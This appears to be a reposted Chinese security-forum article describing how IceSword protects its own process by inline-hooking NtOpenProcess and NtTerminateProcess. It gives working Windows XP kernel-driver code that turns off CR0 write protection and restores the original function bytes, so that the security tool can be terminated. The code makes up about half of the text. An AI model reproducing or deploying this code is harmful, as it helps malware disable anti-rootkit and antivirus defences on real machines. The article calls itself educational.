upside
反病毒 反詐騙 反虐犬
|
分享:
x0
|
突破IceSword自身的進程保護
突破IceSword自身的進程保護
文章作者:xyzreg [E.S.T](http://www.xyzreg.net) 資訊來源:邪惡八進制資訊安全團隊(www.eviloctal.com)
IceSword的驅動對其自身進程做了保護,使惡意程式終止不了他。IceSword沒有用HOOK SSDT的方法,不過也沒用什麼太BT的方法,而是Inline Hook了NtOpenProcess、NtTerminateProcess幾個函數,即修改函數前5個字節,jmp到他自定義處理函數例程裏。
終止採用這類保護方法的進程,可以使用暴力的PspTerminateProcess方法,PspTerminateProcess函數未導出,需要我們自己窮舉特徵碼搜索來定位,或者硬編碼之。當然,我們還可以恢復IceSword的Inline hook,還原被IceSword掛鉤過的NtOpenProcess、NtTerminateProcess函數,然後在用戶態上使用普通的終止進程的方法就可以終止他了。這裡給出了第二中方法的具體代碼,不過由於此篇文章出於科普目的,代碼就寫得馬虎點了,僅適用於Windows XP,因為取SSDT對應的函數索引號用的硬編碼,說明問題而已。NtTerminateProcess未導出,大家可以自己改成通過讀取ntdll.dll動態通用的獲得索引號的方法,方法網上有公開,需要的人就自己動點手吧,呵呵~
CODE:
#include <ntddk.h>
#define DWORD unsigned long
unsigned char OldCode[5]="\x68\xc4\x00\x00\x00"; unsigned char OldCode2[5]="\x8b\xff\x55\x8b\xec";
#pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) { DWORD OpAddr,OpAddr2;
OpAddr=*(KeServiceDescriptorTable.ServiceTableBase + 0x7A); OpAddr2=*(KeServiceDescriptorTable.ServiceTableBase + 0x101);
_asm { CLI MOV eax, CR0 AND eax, NOT 10000H MOV CR0, eax
pushad mov edi, OpAddr mov eax, dword ptr OldCode[0] mov [edi], eax mov al, byte ptr OldCode[4] mov [edi+4], al mov edi, OpAddr2 mov eax, dword ptr OldCode2[0] mov [edi], eax mov al, byte ptr OldCode2[4] mov [edi+4], al popad
MOV eax, CR0 OR eax, 10000H MOV CR0, eax STI } return STATUS_SUCCESS; }
|